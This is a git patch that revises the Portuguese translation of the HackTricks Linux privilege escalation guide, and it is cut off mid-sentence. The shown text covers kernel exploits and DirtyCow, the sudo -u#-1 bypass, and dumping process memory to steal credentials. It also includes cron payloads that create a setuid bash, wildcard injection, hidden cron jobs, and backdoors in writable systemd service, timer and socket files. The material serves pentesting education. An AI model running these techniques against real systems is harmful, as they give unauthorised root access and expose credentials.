From a6275ac04246af4a5e3c09350edb6f26dd76acee Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 18:51:07 +0000 Subject: [PATCH] Translated ['', 'src/network-services-pentesting/pentesting-web/apache.m --- .../privilege-escalation/README.md | 613 +++++++++--------- .../pentesting-web/apache.md | 146 +++-- 2 files changed, 398 insertions(+), 361 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 63c847e66..b2b446c6b 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -1,4 +1,4 @@ -# Escalação de Privilégios no Linux +# Linux Privilege Escalation {{#include ../../banners/hacktricks-training.md}} @@ -6,15 +6,15 @@ ### Informações do SO -Vamos começar a adquirir algum conhecimento sobre o SO em execução +Vamos começar a obter informações sobre o SO em execução ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Caminho +### Path -Se você **tiver permissões de escrita em qualquer pasta dentro da variável `PATH`**, pode ser capaz de sequestrar algumas bibliotecas ou binários: +Se você **tem permissões de escrita em qualquer pasta dentro da variável `PATH`** pode ser capaz de sequestrar algumas bibliotecas ou binários: ```bash echo $PATH ``` @@ -24,32 +24,32 @@ Informações interessantes, senhas ou chaves de API nas variáveis de ambiente? ```bash (env || set) 2>/dev/null ``` -### Exploits de kernel +### Kernel exploits -Verifique a versão do kernel e se há algum exploit que pode ser usado para escalar privilégios. +Verifique a versão do kernel e se existe algum exploit que possa ser usado para escalar privilégios ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Você pode encontrar uma boa lista de kernels vulneráveis e alguns **exploits compilados** aqui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) e [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Outros sites onde você pode encontrar alguns **exploits compilados**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Você pode encontrar uma boa lista de kernels vulneráveis e alguns **compiled exploits** aqui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) e [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Outros sites onde você pode encontrar alguns **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Para extrair todas as versões vulneráveis do kernel desse site, você pode fazer: +Para extrair todas as versões de kernel vulneráveis desse site você pode fazer: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Ferramentas que podem ajudar a procurar por exploits de kernel são: +Ferramentas que podem ajudar a procurar exploits do kernel são: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute NO vítima, apenas verifica exploits para kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim, apenas verifica exploits para kernel 2.x) -Sempre **pesquise a versão do kernel no Google**, talvez sua versão do kernel esteja escrita em algum exploit de kernel e então você terá certeza de que esse exploit é válido. +Sempre **pesquise a versão do kernel no Google**, talvez a versão do seu kernel esteja escrita em algum exploit do kernel e assim você terá certeza de que esse exploit é válido. ### CVE-2016-5195 (DirtyCow) -Escalada de Privilégios no Linux - Kernel Linux <= 3.19.0-73.8 +Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 ```bash # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs @@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Versão do Sudo -Baseado nas versões vulneráveis do sudo que aparecem em: +Com base nas versões vulneráveis do sudo que aparecem em: ```bash searchsploit sudo ``` @@ -73,13 +73,13 @@ De @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg verificação de assinatura falhou +### Dmesg signature verification failed -Verifique a **smasher2 box do HTB** para um **exemplo** de como essa vulnerabilidade pode ser explorada +Veja **smasher2 box of HTB** para um **exemplo** de como esta vuln pode ser explorada ```bash dmesg 2>/dev/null | grep "signature" ``` -### Mais enumeração de sistema +### Mais enumeração do sistema ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats @@ -123,15 +123,15 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Se você estiver dentro de um contêiner docker, pode tentar escapar dele: +Se você estiver dentro de um docker container, pode tentar escapar dele: {{#ref}} docker-security/ {{#endref}} -## Drives +## Unidades -Verifique **o que está montado e desmontado**, onde e por quê. Se algo estiver desmontado, você pode tentar montá-lo e verificar informações privadas. +Verifique **o que está montado e o que não está**, onde e por que. Se algo estiver desmontado, você pode tentar montá-lo e verificar por informações privadas ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,60 +140,59 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Software útil -Enumere binários úteis +Enumerar binários úteis ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum exploit de kernel, pois é recomendável compilá-lo na máquina onde você vai usá-lo (ou em uma semelhante). +Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum kernel exploit, pois é recomendado compilá-lo na máquina onde você vai usá-lo (ou em uma similar). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Software Vulnerável Instalado -Verifique a **versão dos pacotes e serviços instalados**. Pode haver alguma versão antiga do Nagios (por exemplo) que poderia ser explorada para escalar privilégios...\ -É recomendável verificar manualmente a versão do software instalado mais suspeito. +Verifique a **versão dos pacotes e serviços instalados**. Talvez exista alguma versão antiga do Nagios (por exemplo) que possa ser explorada para escalar privilégios…\ +Recomenda-se verificar manualmente a versão dos softwares instalados mais suspeitos. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Se você tiver acesso SSH à máquina, também pode usar **openVAS** para verificar se há software desatualizado e vulnerável instalado na máquina. +Se você tem acesso SSH à máquina, também pode usar **openVAS** para verificar software desatualizado e vulnerável instalado na máquina. -> [!NOTE] > _Observe que esses comandos mostrarão muitas informações que, na maioria das vezes, serão inúteis. Portanto, é recomendável usar algumas aplicações como OpenVAS ou similares que verificarão se alguma versão de software instalada é vulnerável a exploits conhecidos._ +> [!NOTE] > _Observe que esses comandos mostrarão muita informação que na maioria das vezes será inútil; por isso, recomenda-se usar aplicações como OpenVAS ou similares que verifiquem se alguma versão de software instalada é vulnerável a exploits conhecidos_ ## Processos -Dê uma olhada em **quais processos** estão sendo executados e verifique se algum processo tem **mais privilégios do que deveria** (talvez um tomcat sendo executado pelo root?) +Dê uma olhada em **quais processos** estão sendo executados e verifique se algum processo tem **mais privilégios do que deveria** (talvez um tomcat sendo executado como root?) ```bash ps aux ps -ef top -n 1 ``` -Sempre verifique se há possíveis [**depuradores electron/cef/chromium**] em execução, você pode abusar disso para escalar privilégios](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta isso verificando o parâmetro `--inspect` dentro da linha de comando do processo.\ -Além disso, **verifique seus privilégios sobre os binários dos processos**, talvez você possa sobrescrever alguém. +Sempre verifique a possível [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta isso verificando o parâmetro `--inspect` na linha de comando do processo.\ Também **verifique seus privilégios sobre os binários dos processos**, talvez você consiga sobrescrever algum. ### Monitoramento de processos -Você pode usar ferramentas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorar processos. Isso pode ser muito útil para identificar processos vulneráveis que estão sendo executados com frequência ou quando um conjunto de requisitos é atendido. +Você pode usar ferramentas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorar processos. Isso pode ser muito útil para identificar processos vulneráveis que são executados frequentemente ou quando um conjunto de requisitos é atendido. -### Memória do processo +### Memória de processos -Alguns serviços de um servidor salvam **credenciais em texto claro dentro da memória**.\ -Normalmente, você precisará de **privilegios de root** para ler a memória de processos que pertencem a outros usuários, portanto, isso geralmente é mais útil quando você já é root e deseja descobrir mais credenciais.\ -No entanto, lembre-se de que **como um usuário comum, você pode ler a memória dos processos que possui**. +Alguns serviços de um servidor salvam **credenciais em texto claro na memória**.\ +Normalmente você precisará de **privilégios root** para ler a memória de processos que pertencem a outros usuários; portanto, isso normalmente é mais útil quando você já é root e quer descobrir mais credenciais.\ +No entanto, lembre-se que **como usuário comum você pode ler a memória dos processos que possui**. > [!WARNING] -> Note que atualmente a maioria das máquinas **não permite ptrace por padrão**, o que significa que você não pode despejar outros processos que pertencem ao seu usuário sem privilégios. +> Observe que hoje em dia a maioria das máquinas **não permite ptrace por padrão**, o que significa que você não pode fazer dump de outros processos que pertençam a um usuário sem privilégios. > > O arquivo _**/proc/sys/kernel/yama/ptrace_scope**_ controla a acessibilidade do ptrace: > -> - **kernel.yama.ptrace_scope = 0**: todos os processos podem ser depurados, desde que tenham o mesmo uid. Esta é a maneira clássica de como o ptracing funcionava. +> - **kernel.yama.ptrace_scope = 0**: todos os processos podem ser depurados, desde que tenham o mesmo uid. Esta é a forma clássica de como o ptrace funcionava. > - **kernel.yama.ptrace_scope = 1**: apenas um processo pai pode ser depurado. -> - **kernel.yama.ptrace_scope = 2**: apenas o administrador pode usar ptrace, pois requer a capacidade CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: Nenhum processo pode ser rastreado com ptrace. Uma vez definido, é necessário reiniciar para habilitar o ptracing novamente. +> - **kernel.yama.ptrace_scope = 2**: apenas o administrador pode usar ptrace, pois requer a capability CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: nenhum processo pode ser rastreado com ptrace. Uma vez definido, é necessária uma reinicialização para habilitar o ptrace novamente. #### GDB -Se você tiver acesso à memória de um serviço FTP (por exemplo), poderá obter o Heap e procurar dentro de suas credenciais. +Se você tiver acesso à memória de um serviço FTP (por exemplo), você pode obter o Heap e procurar por credenciais dentro dele. ```bash gdb -p (gdb) info proc mappings @@ -202,7 +201,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### Script GDB +#### Script do GDB ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -215,7 +214,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Para um dado ID de processo, **maps mostra como a memória está mapeada dentro do espaço de endereços virtual desse processo**; também mostra as **permissões de cada região mapeada**. O **mem** pseudo arquivo **expondo a memória dos processos**. A partir do arquivo **maps**, sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essas informações para **procurar no arquivo mem e despejar todas as regiões legíveis** em um arquivo. +Para um determinado ID de processo, **maps mostram como a memória é mapeada no espaço de endereços virtual desse processo**; também mostram as **permissões de cada região mapeada**. O **mem** pseudo-arquivo **expõe a própria memória do processo**. A partir do arquivo **maps** sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essa informação para **posicionar-se no arquivo mem (seek) e despejar todas as regiões legíveis** em um arquivo. ```bash procdump() ( @@ -230,14 +229,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` fornece acesso à **memória** física do sistema, não à memória virtual. O espaço de endereço virtual do kernel pode ser acessado usando /dev/kmem.\ -Normalmente, `/dev/mem` é apenas legível por **root** e o grupo **kmem**. +`/dev/mem` fornece acesso à memória **física** do sistema, não à memória virtual. O espaço de endereçamento virtual do kernel pode ser acessado usando /dev/kmem.\ +Normalmente, `/dev/mem` só é legível por **root** e pelo grupo **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump para linux +### ProcDump for linux -ProcDump é uma reinterpretação do Linux da clássica ferramenta ProcDump do conjunto de ferramentas Sysinternals para Windows. Obtenha em [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump é uma recriação para Linux da clássica ferramenta ProcDump da suíte Sysinternals para Windows. Disponível em [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -266,40 +265,40 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Ferramentas -Para despejar a memória de um processo, você pode usar: +Para dumpar a memória de um processo você pode usar: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Você pode remover manualmente os requisitos de root e despejar o processo de sua propriedade -- Script A.5 de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root é necessário) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Você pode manualmente remover os requisitos de root e dumpar o processo que pertence a você +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root é necessário) -### Credenciais da Memória do Processo +### Credenciais da memória do processo #### Exemplo manual -Se você descobrir que o processo do autenticador está em execução: +Se você encontrar que o processo authenticator está em execução: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Você pode despejar o processo (veja as seções anteriores para encontrar diferentes maneiras de despejar a memória de um processo) e procurar por credenciais dentro da memória: +Você pode fazer o dump do processo (veja as seções anteriores para encontrar diferentes maneiras de fazer o dump da memória de um processo) e procurar por credentials dentro da memória: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -A ferramenta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) irá **roubar credenciais em texto claro da memória** e de alguns **arquivos bem conhecidos**. Ela requer privilégios de root para funcionar corretamente. +A ferramenta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) irá **steal clear text credentials from memory** e de alguns **well known files**. Requer privilégios de root para funcionar corretamente. -| Recurso | Nome do Processo | +| Funcionalidade | Nome do Processo | | ------------------------------------------------- | -------------------- | -| Senha do GDM (Kali Desktop, Debian Desktop) | gdm-password | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Conexões FTP Ativas) | vsftpd | -| Apache2 (Sessões Ativas de Autenticação HTTP Básica) | apache2 | -| OpenSSH (Sessões SSH Ativas - Uso de Sudo) | sshd: | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Expressões Regulares de Busca/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -313,9 +312,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Scheduled/Cron jobs +## Tarefas agendadas/Cron jobs -Verifique se algum trabalho agendado é vulnerável. Talvez você possa aproveitar um script sendo executado pelo root (vulnerabilidade de curinga? pode modificar arquivos que o root usa? usar symlinks? criar arquivos específicos no diretório que o root usa?). +Verifique se alguma tarefa agendada é vulnerável. Talvez você consiga aproveitar um script executado por root (wildcard vuln? pode modificar arquivos que root usa? usar symlinks? criar arquivos específicos no diretório que root usa?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -325,54 +324,55 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul Por exemplo, dentro de _/etc/crontab_ você pode encontrar o PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Note como o usuário "user" tem privilégios de escrita sobre /home/user_) +(_Observe como o usuário "user" tem privilégios de escrita sobre /home/user_) -Se dentro deste crontab o usuário root tentar executar algum comando ou script sem definir o caminho. Por exemplo: _\* \* \* \* root overwrite.sh_\ -Então, você pode obter um shell root usando: +Se dentro deste crontab o usuário root tentar executar algum comando ou script sem definir o PATH. Por exemplo: _\* \* \* \* root overwrite.sh_\ +Então, você pode obter um root shell usando: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron usando um script com um caractere curinga (Injeção de Caractere Curioso) +### Cron usando um script com um wildcard (Wildcard Injection) -Se um script executado pelo root tiver um “**\***” dentro de um comando, você pode explorar isso para fazer coisas inesperadas (como privesc). Exemplo: +Se um script executado por root tiver um “**\***” dentro de um comando, você pode explorar isso para causar coisas inesperadas (como privesc). Exemplo: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Se o caractere curinga for precedido de um caminho como** _**/some/path/\***_ **, não é vulnerável (mesmo** _**./\***_ **não é).** +**Se o wildcard for precedido por um caminho como** _**/some/path/\***_ **, não é vulnerável (mesmo** _**./\***_ **não é).** + +Leia a página a seguir para mais truques de exploração de wildcard: -Leia a página a seguir para mais truques de exploração de curingas: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Sobrescrita de script cron e symlink +### Sobrescrita de script Cron e symlink -Se você **pode modificar um script cron** executado pelo root, pode obter um shell muito facilmente: +Se você **puder modificar um cron script** executado pelo root, você pode obter um shell muito facilmente: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Se o script executado pelo root usa um **diretório onde você tem acesso total**, talvez seja útil excluir essa pasta e **criar um diretório symlink para outro** que sirva um script controlado por você. +Se o script executado por root usa um **diretório onde você tem acesso total**, talvez seja útil excluir essa pasta e **criar um symlink apontando para outra pasta** que sirva um script controlado por você ```bash ln -d -s ``` -### Frequent cron jobs +### Cron jobs frequentes -Você pode monitorar os processos para procurar por processos que estão sendo executados a cada 1, 2 ou 5 minutos. Talvez você possa aproveitar isso e escalar privilégios. +Você pode monitorar os processos para procurar por processos que estão sendo executados a cada 1, 2 ou 5 minutos. Talvez você possa tirar proveito disso e escalate privileges. -Por exemplo, para **monitorar a cada 0,1s durante 1 minuto**, **classificar pelos comandos menos executados** e deletar os comandos que foram executados com mais frequência, você pode fazer: +Por exemplo, para **monitorar a cada 0.1s durante 1 minuto**, **ordenar pelos comandos menos executados** e apagar os comandos que foram executados mais vezes, você pode fazer: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Você também pode usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (isso irá monitorar e listar todos os processos que começam). +**Você também pode usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (isso irá monitorar e listar todos os processos que iniciam). -### Trabalhos cron invisíveis +### Cron jobs invisíveis -É possível criar um cronjob **colocando um retorno de carro após um comentário** (sem caractere de nova linha), e o trabalho cron funcionará. Exemplo (note o caractere de retorno de carro): +É possível criar um cronjob **inserindo um carriage return após um comentário** (sem newline character), e o cron job funcionará. Exemplo (observe o carriage return char): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -380,91 +380,89 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Arquivos _.service_ graváveis -Verifique se você pode escrever em algum arquivo `.service`, se puder, você **poderia modificá-lo** para que ele **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez você precise esperar até que a máquina seja reiniciada).\ +Verifique se você pode gravar qualquer arquivo `.service`, se puder, você **pode modificá-lo** de forma que ele **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez seja necessário aguardar até que a máquina seja reiniciada).\ Por exemplo, crie seu backdoor dentro do arquivo .service com **`ExecStart=/tmp/script.sh`** -### Binários de serviço graváveis +### Binários de serviços graváveis -Tenha em mente que se você tiver **permissões de gravação sobre binários sendo executados por serviços**, você pode alterá-los para backdoors, de modo que, quando os serviços forem reexecutados, os backdoors serão executados. +Tenha em mente que se você tem **permissões de escrita sobre binários executados por serviços**, você pode alterá-los para backdoors de modo que, quando os serviços forem reexecutados, os backdoors sejam executados. -### PATH do systemd - Caminhos Relativos +### systemd PATH - Caminhos relativos Você pode ver o PATH usado pelo **systemd** com: ```bash systemctl show-environment ``` -Se você descobrir que pode **escrever** em qualquer uma das pastas do caminho, pode ser capaz de **escalar privilégios**. Você precisa procurar por **caminhos relativos sendo usados em arquivos de configuração de serviços** como: +Se você descobrir que pode **escrever** em qualquer uma das pastas do caminho, pode ser capaz de **escalate privileges**. Você precisa procurar por **caminhos relativos sendo usados em arquivos de configuração de serviços** como: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Então, crie um **executável** com o **mesmo nome que o caminho relativo do binário** dentro da pasta PATH do systemd que você pode escrever, e quando o serviço for solicitado a executar a ação vulnerável (**Iniciar**, **Parar**, **Recarregar**), seu **backdoor será executado** (usuários não privilegiados geralmente não podem iniciar/parar serviços, mas verifique se você pode usar `sudo -l`). +Em seguida, crie um **executável** com o **mesmo nome do binário do caminho relativo** dentro da pasta PATH do systemd que você pode escrever, e quando o serviço for solicitado a executar a ação vulnerável (**Start**, **Stop**, **Reload**), sua **backdoor será executada** (usuários não privilegiados normalmente não podem iniciar/parar serviços, mas verifique se você pode usar `sudo -l`). **Saiba mais sobre serviços com `man systemd.service`.** -## **Temporizadores** +## **Timers** -**Temporizadores** são arquivos de unidade do systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Temporizadores** podem ser usados como uma alternativa ao cron, pois têm suporte embutido para eventos de tempo de calendário e eventos de tempo monotônico e podem ser executados de forma assíncrona. +**Timers** são arquivos de unidade do systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Timers** podem ser usados como uma alternativa ao cron, pois têm suporte embutido para eventos de tempo de calendário e eventos de tempo monotônico e podem ser executados assincronamente. -Você pode enumerar todos os temporizadores com: +Você pode enumerar todos os timers com: ```bash systemctl list-timers --all ``` -### Writable timers +### Temporizadores graváveis -Se você puder modificar um timer, pode fazê-lo executar algumas instâncias de systemd.unit (como um `.service` ou um `.target`) +Se você puder modificar um temporizador, pode fazê-lo executar algumas unidades existentes de systemd.unit (como uma `.service` ou uma `.target`). ```bash Unit=backdoor.service ``` -Na documentação, você pode ler o que é a Unidade: +> A unidade a ativar quando este timer expira. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não for especificado, este valor assume por padrão um service que tem o mesmo nome que a unidade timer, exceto pelo sufixo. (Ver acima.) Recomenda-se que o nome da unidade ativada e o nome da unidade do timer sejam idênticos, exceto pelo sufixo. -> A unidade a ser ativada quando este temporizador expirar. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não especificado, este valor padrão é um serviço que tem o mesmo nome que a unidade do temporizador, exceto pelo sufixo. (Veja acima.) É recomendável que o nome da unidade que é ativada e o nome da unidade do temporizador tenham nomes idênticos, exceto pelo sufixo. +Portanto, para abusar desta permissão você precisaria: -Portanto, para abusar dessa permissão, você precisaria: +- Encontrar alguma unidade systemd (como um `.service`) que esteja **executando um binário gravável** +- Encontrar alguma unidade systemd que esteja **executando um caminho relativo** e sobre a qual você tenha **privilégios de escrita** no **PATH do systemd** (para imitar esse executável) -- Encontrar alguma unidade systemd (como um `.service`) que está **executando um binário gravável** -- Encontrar alguma unidade systemd que está **executando um caminho relativo** e você tem **privilegios de gravação** sobre o **PATH do systemd** (para se passar por esse executável) +**Saiba mais sobre timers com `man systemd.timer`.** -**Saiba mais sobre temporizadores com `man systemd.timer`.** +### **Habilitar Timer** -### **Habilitando o Temporizador** - -Para habilitar um temporizador, você precisa de privilégios de root e executar: +Para habilitar um timer você precisa de privilégios root e executar: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Note que o **timer** é **ativado** criando um symlink para ele em `/etc/systemd/system/.wants/.timer` +Observe que o **timer** é **ativado** criando um symlink para ele em `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) permitem **comunicação entre processos** na mesma ou em diferentes máquinas dentro de modelos cliente-servidor. Eles utilizam arquivos de descritor padrão do Unix para comunicação entre computadores e são configurados através de arquivos `.socket`. +Unix Domain Sockets (UDS) permitem **comunicação entre processos** na mesma máquina ou em máquinas diferentes dentro de modelos cliente-servidor. Eles utilizam arquivos de descritor Unix padrão para comunicação entre computadores e são configurados através de arquivos `.socket`. -Os sockets podem ser configurados usando arquivos `.socket`. +Sockets podem ser configurados usando arquivos `.socket`. **Saiba mais sobre sockets com `man systemd.socket`.** Dentro deste arquivo, vários parâmetros interessantes podem ser configurados: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Essas opções são diferentes, mas um resumo é usado para **indicar onde ele vai escutar** o socket (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou número da porta para escutar, etc.) -- `Accept`: Aceita um argumento booleano. Se **verdadeiro**, uma **instância de serviço é gerada para cada conexão recebida** e apenas o socket de conexão é passado para ele. Se **falso**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é gerada para todas as conexões. Este valor é ignorado para sockets de datagrama e FIFOs onde uma única unidade de serviço lida incondicionalmente com todo o tráfego recebido. **O padrão é falso**. Por razões de desempenho, é recomendado escrever novos daemons apenas de uma maneira que seja adequada para `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Aceita uma ou mais linhas de comando, que são **executadas antes** ou **depois** que os **sockets**/FIFOs de escuta são **criados** e vinculados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido por argumentos para o processo. -- `ExecStopPre`, `ExecStopPost`: Comandos adicionais que são **executados antes** ou **depois** que os **sockets**/FIFOs de escuta são **fechados** e removidos, respectivamente. -- `Service`: Especifica o nome da unidade de **serviço** **a ser ativada** no **tráfego recebido**. Esta configuração é permitida apenas para sockets com Accept=no. O padrão é o serviço que tem o mesmo nome que o socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar esta opção. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Estas opções são diferentes, mas um resumo é usado para **indicar onde o socket irá escutar** (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou número de porta a escutar, etc.) +- `Accept`: Recebe um argumento booleano. Se **true**, uma **instância de serviço é gerada para cada conexão recebida** e apenas o socket da conexão é passado para ela. Se **false**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é gerada para todas as conexões. Este valor é ignorado para datagram sockets e FIFOs, onde uma única unidade de serviço lida incondicionalmente com todo o tráfego de entrada. **Padrão: false**. Por motivos de desempenho, é recomendado escrever novos daemons apenas de maneira compatível com `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Aceita uma ou mais linhas de comando, que são **executadas antes** ou **depois** dos **sockets**/FIFOs de escuta serem **criados** e ligados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido dos argumentos para o processo. +- `ExecStopPre`, `ExecStopPost`: Comandos adicionais que são **executados antes** ou **depois** dos **sockets**/FIFOs de escuta serem **fechados** e removidos, respectivamente. +- `Service`: Especifica o nome da unidade **service** **a ativar** em caso de **tráfego de entrada**. Esta opção só é permitida para sockets com Accept=no. Por padrão, aponta para o serviço que tem o mesmo nome do socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar esta opção. -### Arquivos .socket graváveis +### Writable .socket files -Se você encontrar um arquivo `.socket` **gravável**, pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e o backdoor será executado antes que o socket seja criado. Portanto, você **provavelmente precisará esperar até que a máquina seja 